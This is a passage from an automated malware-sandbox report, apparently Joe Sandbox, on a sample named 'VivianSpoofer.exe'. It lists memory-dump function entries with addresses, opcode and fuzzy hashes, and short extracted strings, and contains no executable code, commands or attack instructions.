Instruction Fuzzy Hash: D7A13631718A198FE76CDA2D885917972C7EBDA311B14923EE48FC73E6DD34EC068284

Function 00007FFAAC490A85 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb6b1ce6490612118a49c6db4f81508c3286ebbf1d3c895a6495d32503ec3a8
Instruction ID: f69b7e5e08dee0710460edc38cab3e8c98fabf2015802476693b3ec156b6c1d0
Opcode Fuzzy Hash: 0fb6b1ce6490612118a49c6db4f81508c3286ebbf1d3c895a6495d32503ec3a8
Instruction Fuzzy Hash: C2A1E3357199098FEB9CEA2D885957973D3EBD9311704927EE80FC73A2DE24EC468384

Function 00007FFAAC4905B0 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c7df672a8edbb064405514d8963e2b63983d1bb0994be2cdb368418456f1274
Instruction ID: 3b2b0b59cf0f6766d7b06e3b3d569ca6e2ea87921d2d041efbfab7461377ce15
Opcode Fuzzy Hash: 2c7df672a8edbb064405514d8963e2b63983d1bb0994be2cdb368418456f1274
Instruction Fuzzy Hash: BF815831B285164BE71CDA2D8C1627972C7D7DA205718C23EE48FC77DADD38EC1A8685

Function 00007FFAAC499CF0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae4c86bde472816a68661cb1ac7e6aa4d1e867a2dd3773082d1ea89c8ddc887c
Instruction ID: 4872a508d18f8b03dbd3d26025723ea91a29b0813409c84f493a25e983aabffa
Opcode Fuzzy Hash: ae4c86bde472816a68661cb1ac7e6aa4d1e867a2dd3773082d1ea89c8ddc887c
Instruction Fuzzy Hash: 94915D71A1D3958FF3298B2848061A97BD2EFC6314F15857ED48DC7292D939AC0A87C5

Function 00007FFAAC49141D Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd48dbab8fca4eb85add1fc256631327a4b8e7010ab9476eb1880394c45597f
Instruction ID: 54c8ff875d94023c96af6a81d486313a1836bf4e85858ae714f7ca3540f30c42
Opcode Fuzzy Hash: 5fd48dbab8fca4eb85add1fc256631327a4b8e7010ab9476eb1880394c45597f
Instruction Fuzzy Hash: 6A619C36B684158BA32CA52E9C5A0B972CBC7D6715714C23EE88FC77E2EC14EC5B42C5

Function 00007FFAAC490DDD Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 547c6cb55cc3386a30eda0702f7eacd790bc67422d6fbc4155483214edb62361
Instruction ID: 475d53dcbb62b8cc74b40d61ceb0eed3fc96a8d083d6b49311cf046f2f3d1878
Opcode Fuzzy Hash: 547c6cb55cc3386a30eda0702f7eacd790bc67422d6fbc4155483214edb62361
Instruction Fuzzy Hash: 60614D327685164BA30CD93D8C9607972CBE7DA315758D63EF48BC76D6EE34E8078288

Function 00007FFAAC490DB5 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 477d09aa4ee0813e2d4b694d19722c64ca14ff7379366c6945f460a9449d42c0
Instruction ID: 30265b6f7af6a202e2968b06f85ad3f417a27e7a40e8ac5ee4f330f61128eb0d
Opcode Fuzzy Hash: 477d09aa4ee0813e2d4b694d19722c64ca14ff7379366c6945f460a9449d42c0
Instruction Fuzzy Hash: CB5127327189214FA71CDA2D9C5517972C7EBC9712358923EF48BC779ADD38DC0686C4

Function 00007FFAAC491235 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dfc19c77d82d23447defa47061c313f85017d579b2d322725a036c5c1da0f02
Instruction ID: 64aecaaf9ad857088fbd07f1d69dd46c7d0a5c2972601585117c2222a0e92311
Opcode Fuzzy Hash: 1dfc19c77d82d23447defa47061c313f85017d579b2d322725a036c5c1da0f02
Instruction Fuzzy Hash: CE615832A0D5158BF718DA3DC8545B977D6EB96314714827EE44EC32D2EE29E84AC3C8

Function 00007FFAAC491435 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18e7811a3b1041d4cf5fa7303bf876ec1917c4c476418339f4882828db4cf16f
Instruction ID: 236dd0135bd079f86608b47bcc3e6f660b2e6bbfff8bc9de91e8b39d94392851
Opcode Fuzzy Hash: 18e7811a3b1041d4cf5fa7303bf876ec1917c4c476418339f4882828db4cf16f
Instruction Fuzzy Hash: 2851693271D5194FA72CDE2D8C9A17A72C6C7CB325704923EF88BC3691ED24E84686C4

Function 00007FFAAC4911CA Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8fff69b922e7eaf99213dd57edd5322e88877a572f32c38836fe7225aa091cf
Instruction ID: d22519def24c6304471b7320a23d23cb1cce1661463aae1e57b3a0b17dc2b4d5
Opcode Fuzzy Hash: f8fff69b922e7eaf99213dd57edd5322e88877a572f32c38836fe7225aa091cf
Instruction Fuzzy Hash: D3512035B0C2554BA30C8A6F985907AB2C7E7C9302729D23EB08FC73D1EE64EC174688

Function 00007FFAAC491128 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 733acb167862bcc13de1de08215bc62d9f3530e20315bf03fef2937c04e6646b
Instruction ID: 1cc86cc638a8c740c20c4b87a2b0c00df0bc9ec12778ac87955f1f7d6adbfcd0
Opcode Fuzzy Hash: 733acb167862bcc13de1de08215bc62d9f3530e20315bf03fef2937c04e6646b
Instruction Fuzzy Hash: 3051583271D8058BA71CDA2E885A07A32C7DBDA301748D23EE04FC72E6ED24EC174684

Function 00007FFAAC490A35 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c11ebadf2b00c9c9ebe81553c6e4640401325113585a754edc5fcb437aafb3bd
Instruction ID: 5d2630d9bcd8ea9e00a1234f244092bbab02dca88ae4de8e15aa4297417a6e77
Opcode Fuzzy Hash: c11ebadf2b00c9c9ebe81553c6e4640401325113585a754edc5fcb437aafb3bd
Instruction Fuzzy Hash: BD5118317089098FD758FB2CD85997977D6EB8A3157048179E44ECB3A6DD34EC828784

Function 00007FFAAC490FCD Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca663371dc56049e81304f67380f68741cad0e033bb58a9a81fe90bb0d6204e0
Instruction ID: b07d3041d31c96280f43f3e45a441e1ad78af84d9693e3207f856d5af62dc1f2
Opcode Fuzzy Hash: ca663371dc56049e81304f67380f68741cad0e033bb58a9a81fe90bb0d6204e0
Instruction Fuzzy Hash: 1A51587572C2454BA71CCE2F886A03A72D7E7DA215B15E23EE0DBC37D1CE28E8178644

Function 00007FFAAC490368 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6484478c034dfad2f104f3e1dbfdfeb33454233f1286b6dd70cb397620755337
Instruction ID: 8c01b7923f49096837e4897a4cfaa4beade134e84b77dc54f289441adf9b9acf
Opcode Fuzzy Hash: 6484478c034dfad2f104f3e1dbfdfeb33454233f1286b6dd70cb397620755337
Instruction Fuzzy Hash: 8151343171D60A4FE36DEA2988595767796EB86315314817EE08BC72A3ED24EC478284

Function 00007FFAAC490D08 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bbead9097a32dc9f53dea1e5482e0be7cf02aa9e44ecd341bb00f6da68c6710
Instruction ID: a2777fc1f4e243c7d8ea207a499ff0f43b29429c93cd4a51236fdaeb601d5890
Opcode Fuzzy Hash: 4bbead9097a32dc9f53dea1e5482e0be7cf02aa9e44ecd341bb00f6da68c6710
Instruction Fuzzy Hash: E3415A3272D90A4BA71CDA2C885A47973C7DBCA315718D17DE48FC73A2ED24EC4682C9

Function 00007FFAAC490C0D Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee815213912fe129c6cec83cc519d9a7a743e323d75c5fbc42e3718a1aa6374
Instruction ID: 217d0cf774be82ee29bcfc9a8653c129541b52a1a8b717888088bf8c76072dc3
Opcode Fuzzy Hash: 5ee815213912fe129c6cec83cc519d9a7a743e323d75c5fbc42e3718a1aa6374
Instruction Fuzzy Hash: 92513971A5D3458FE36DAA38C4195BA77D2DB86314F10C57ED48FCB2A2DE38E8028785

Function 00007FFAAC493400 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1558d584e69e662e685bda2239d7569f0bc0f5f9213fd29521fbd663475cba72
Instruction ID: d144bcf8ea732238ab66d0f1bc9f4986bbe33cc65f697e7cba1c327c5420a83c
Opcode Fuzzy Hash: 1558d584e69e662e685bda2239d7569f0bc0f5f9213fd29521fbd663475cba72
Instruction Fuzzy Hash: 2E518B31B18A1D8BE25CCE1D8C4527A72C79BD4215B54C63EE00FC77E9ED29E90E4288

Function 00007FFAAC490C05 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 426223878193f3b9b1351770100e58235a059902a1b4133da9d7c26088f8affe
Instruction ID: 28e0a0754f9b6376da3dc1aee2956960624ad65051844a9d11afeda9c6dffe8b
Opcode Fuzzy Hash: 426223878193f3b9b1351770100e58235a059902a1b4133da9d7c26088f8affe
Instruction Fuzzy Hash: 94413A34B18A1D8FA71CEE2E881A53972D7EBDA300710D13EE04FC73A6DD64EC468584

Function 00007FFAAC4910FD Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89e9c5cac8ab73c3789cfcb700c2644e5d98fc82a9870eaad7d8318fa49d4fb7
Instruction ID: 87e208557dca531a9c7785624030b8b43f099288c1aff808cce3ef32fe96612e
Opcode Fuzzy Hash: 89e9c5cac8ab73c3789cfcb700c2644e5d98fc82a9870eaad7d8318fa49d4fb7
Instruction Fuzzy Hash: 9B4123307199048FE71CEA2EC84A97633D7EB8A315714817EF48FC76A6DE24EC468685

Function 00007FFAAC49C445 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c76aa2411c3e6efd13db92f3300150053d1bff658e53643644074d2248823f8
Instruction ID: 3a141896cfdaa57bf7aa0eed2982a1219a2ff2bf12bf5719ffdf7e670bcbbc64
Opcode Fuzzy Hash: 9c76aa2411c3e6efd13db92f3300150053d1bff658e53643644074d2248823f8
Instruction Fuzzy Hash: 59411732B595124BA70CD93E886603D72C79BD930A718C63EE08FCB7D5ED38ED164685

Function 00007FFAAC4904FD Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23222769befc1dc22ba4c3c05ee4fbb6f6d40e8576b2ed4263b7e5ac961a28e4
Instruction ID: ca2b22065fdadd1255a35ee1757e3ad76a33ee3358dfa7acd067af60c4c38547
Opcode Fuzzy Hash: 23222769befc1dc22ba4c3c05ee4fbb6f6d40e8576b2ed4263b7e5ac961a28e4
Instruction Fuzzy Hash: 024139317095054BA31C9A2D9C0B0B9B3C7D7D6234758D23EF48FC6395DD24E82782C5

Function 00007FFAAC491137 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e84c7744b16a9aad7885d3ae22fdc1c6f8af49932d5fae4a090889825d06ae0a
Instruction ID: 7adcc8c30963148c1d8bd71ad1cb89dc6304aa3d4f9549f734b51bd86e3e5780
Opcode Fuzzy Hash: e84c7744b16a9aad7885d3ae22fdc1c6f8af49932d5fae4a090889825d06ae0a
Instruction Fuzzy Hash: 3A41E33171680E8BA75CDE2D88595B972C3EBD5611358C23AE40FCB3E5DD28E84A8384

Function 00007FFAAC4912A5 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e054c19b5bea9bfb8688678201b074c367ff9d8b04c37f8481fd441355ce95
Instruction ID: 6b9e9b02b65948fea81a62b85e3c579ea57073d5086dd583b8ca4640305016a6
Opcode Fuzzy Hash: c9e054c19b5bea9bfb8688678201b074c367ff9d8b04c37f8481fd441355ce95
Instruction Fuzzy Hash: B1415A3260D9129FE3299A3CD8464B9B7D6EF86314719827EE09EC31D6DE18A847C3C5

Function 00007FFAAC496D98 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d81bb7fbcc696519f7357b017731fbd0da37fd543ee28b97eea2394dc086de0e
Instruction ID: c496895d0bc1629216b0f51910dc93492e97b96be643496a657ce5f4df67711b
Opcode Fuzzy Hash: d81bb7fbcc696519f7357b017731fbd0da37fd543ee28b97eea2394dc086de0e
Instruction Fuzzy Hash: 06418C3060D7454FE72D9B38C8691B67BE1EB46300B1181BFD49FC72A3DE2998078385

Function 00007FFAAC490D95 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb27d155005b2397602cdf86de4b1c424bb12048573a8b6150db8ab05eda88b2
Instruction ID: e5dd86a78662fd9630812ed8f3bb2d74fe62c7e14ce3ca61bbbd34b0b245a9dc
Opcode Fuzzy Hash: eb27d155005b2397602cdf86de4b1c424bb12048573a8b6150db8ab05eda88b2
Instruction Fuzzy Hash: E9315535B5851A4BA35CEA2DDC1A47573D6D7DA311704D23EE48FC32A2EE20EC078684

Function 00007FFAAC490570 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cfa6a998d6b6d9dd919d96a569776b26406025e0f65af944f5a1e29e3e37661
Instruction ID: b31fa99f3d778085c7c58cca7528ca324573f353960daf9a24c74b8fd5a65c38
Opcode Fuzzy Hash: 9cfa6a998d6b6d9dd919d96a569776b26406025e0f65af944f5a1e29e3e37661
Instruction Fuzzy Hash: 4B318E33B1921A0FE72CAD2D8C4A57572CBD7D6606718C23FE58BC22C2EC2CE85B5194

Function 00007FFAAC49145D Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bde74c348c2f9626811ffc78b3f9088ca7a2736989c033fb4ed3809dfce6aa8
Instruction ID: bb8504ea4dbc58c0860308eab41937955049643990e8d49d9a41335a9c4ec062
Opcode Fuzzy Hash: 5bde74c348c2f9626811ffc78b3f9088ca7a2736989c033fb4ed3809dfce6aa8
Instruction Fuzzy Hash: 0B3106353096198FE35CDA7D98895BA73D2E78A321710923DF04BC33A6ED25EC5AC690

Function 00007FFAAC494415 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8741f742007e16e9e5e28e45d5fe547ed46ba5e5e6382d11afdee5e813e5a738
Instruction ID: a7aced2e9203c1849039c83e37cdeb79a6efeab622893f9f5abf6d3bc2f8ab99
Opcode Fuzzy Hash: 8741f742007e16e9e5e28e45d5fe547ed46ba5e5e6382d11afdee5e813e5a738
Instruction Fuzzy Hash: CE414075B1052A8BEB0CDB99CC959BE73B3FFD9301B049529E41AD7384CB74A8158B80

Function 00007FFAAC49BF22 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 559d787e0b0c215a684466829af788534991e4d9e249188e4779b8e2b2f6ebdd
Instruction ID: 9c66c2c827207c634f2ea438c2a61b472b2fd5b1f00f8fb104f1cce9f168c3ef
Opcode Fuzzy Hash: 559d787e0b0c215a684466829af788534991e4d9e249188e4779b8e2b2f6ebdd
Instruction Fuzzy Hash: 51319B22B2980E83D70C6C2C9C461BD72CB97D1216794C63ED48BCA7C9DC1DE91F4288

Function 00007FFAAC490ED5 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17bbed08705d7c35dcb3a871c0090a7a28fa1b8c92c94f55e0917f7a1a3558e6
Instruction ID: 4560a3a4ce439c23f2160b31eab3182229eed25cbd73e5a356327232853eabf9
Opcode Fuzzy Hash: 17bbed08705d7c35dcb3a871c0090a7a28fa1b8c92c94f55e0917f7a1a3558e6
Instruction Fuzzy Hash: DA21D321B1D42407670C892E9D1A43A31DBD7CAB25309D33EF0CBCB2DAE920DC2741C8

Function 00007FFAAC496DCE Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56dbffd556078a54a61182fd4965924980222964162df4bfb43b405caaaf0b50
Instruction ID: 4cb52329033716557235d5352f1301190c8749ba0e968da2bb2fc088a75b6f0b
Opcode Fuzzy Hash: 56dbffd556078a54a61182fd4965924980222964162df4bfb43b405caaaf0b50
Instruction Fuzzy Hash: EB312C7160D7894FF76E9B3488294B67FA5DB47310B0682BFD49AC71A3EE185C078381

Function 00007FFAAC499957 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0d6adba12af804e5b7625b068eaab0b23fc93a5829457ddeb5d2903dbae2a6
Instruction ID: 388dbce2d58223e89dcdc5792dd6fdf7a5766d785a1c0aef37f2619b93e3cdc4
Opcode Fuzzy Hash: 5b0d6adba12af804e5b7625b068eaab0b23fc93a5829457ddeb5d2903dbae2a6
Instruction Fuzzy Hash: 4A212712B6551A07D75CAD3D4D6A13C76C79BE9511358C23EA08BCB7E4EC28F81A4244

Function 00007FFAAC4910B8 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f9c9fc1500d4b9a8f40add5fd2eb11277ce09741f2bb215ea641b491d1423e4
Instruction ID: 48a5adb683a14a389979e9e3039a549ec68b23f9ea5864d8885f8f1feaa4c24f
Opcode Fuzzy Hash: 9f9c9fc1500d4b9a8f40add5fd2eb11277ce09741f2bb215ea641b491d1423e4
Instruction Fuzzy Hash: 6E115B32B1D4154BF32CA92E8C5A476728BD7DB315318E23EE44BC7296DD28E8138584

Function 00007FFAAC490FF5 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784067842.00007FFAAC490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac490000_aYu936prD4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65de49c7194af89403fea62919d20ae458030d8b3e4d50d251240a25fdd32ac
Instruction ID: 08f84a80c85569088d321c8df768412e48e5ff2515731ff223f7d378fa765a1e
Opcode Fuzzy Hash: a65de49c7194af89403fea62919d20ae458030d8b3e4d50d251240a25fdd32ac
Instruction Fuzzy Hash: E9113A7060D2494FD72CEEA9CC9A47BFB69D787214706833EE597C3691EF6094178680

Analysis Process: VivianSpoofer.exePID: 1432, Parent PID: 6376COMMON

Executed Functions

Function 00007FFAAC4709E5 Relevance: 1.6, Strings: 1, Instructions: 351COMMON

Download Yara Rule

Strings

1ah|, xrefs: 00007FFAAC49D2D3

Memory Dump Source

Source File: 00000011.00000002.2577031388.00007FFAAC470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac470000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 1ah|
API String ID: 0-3562093943
Opcode ID: 88dcbe9aad219a2540b10bbed8d1f6c8eb85b47c97cb6cc81dbfacc4a8b8c438
Instruction ID: 465d9e872b05986b3811cdc1e8bfbe980f57f60b5bc08f53de13b8067db87276
Opcode Fuzzy Hash: 88dcbe9aad219a2540b10bbed8d1f6c8eb85b47c97cb6cc81dbfacc4a8b8c438
Instruction Fuzzy Hash: 5791472272C9154BA71CCA2E885A17A72D3EBD9319758D23EF04FCB3D6DD34EC068684

Function 00007FFAAC543215 Relevance: 1.6, Strings: 1, Instructions: 347COMMON

Download Yara Rule

Strings

x%, xrefs: 00007FFAAC5433EE

Memory Dump Source

Source File: 00000011.00000002.2579070730.00007FFAAC540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffaac540000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: x%
API String ID: 0-2089186423
Opcode ID: 2828d97460adae3618387062efb4cd52ef4d27ff0608f8e6ab1b2bb317f851c2
Instruction ID: a60ec8e30e9c9b1c395634158737e8ba4c5ea572e886b7295a7d920e5377412b
Opcode Fuzzy Hash: 2828d97460adae3618387062efb4cd52ef4d27ff0608f8e6ab1b2bb317f851c2
Instruction Fuzzy Hash: 48A1FA5299F7C28FF7574778D9651657FA69F23214B0A80FBD088CB4F3D80AA80AC352

Function 00007FFAAC473450 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

(i., xrefs: 00007FFAAC47C99B

Memory Dump Source

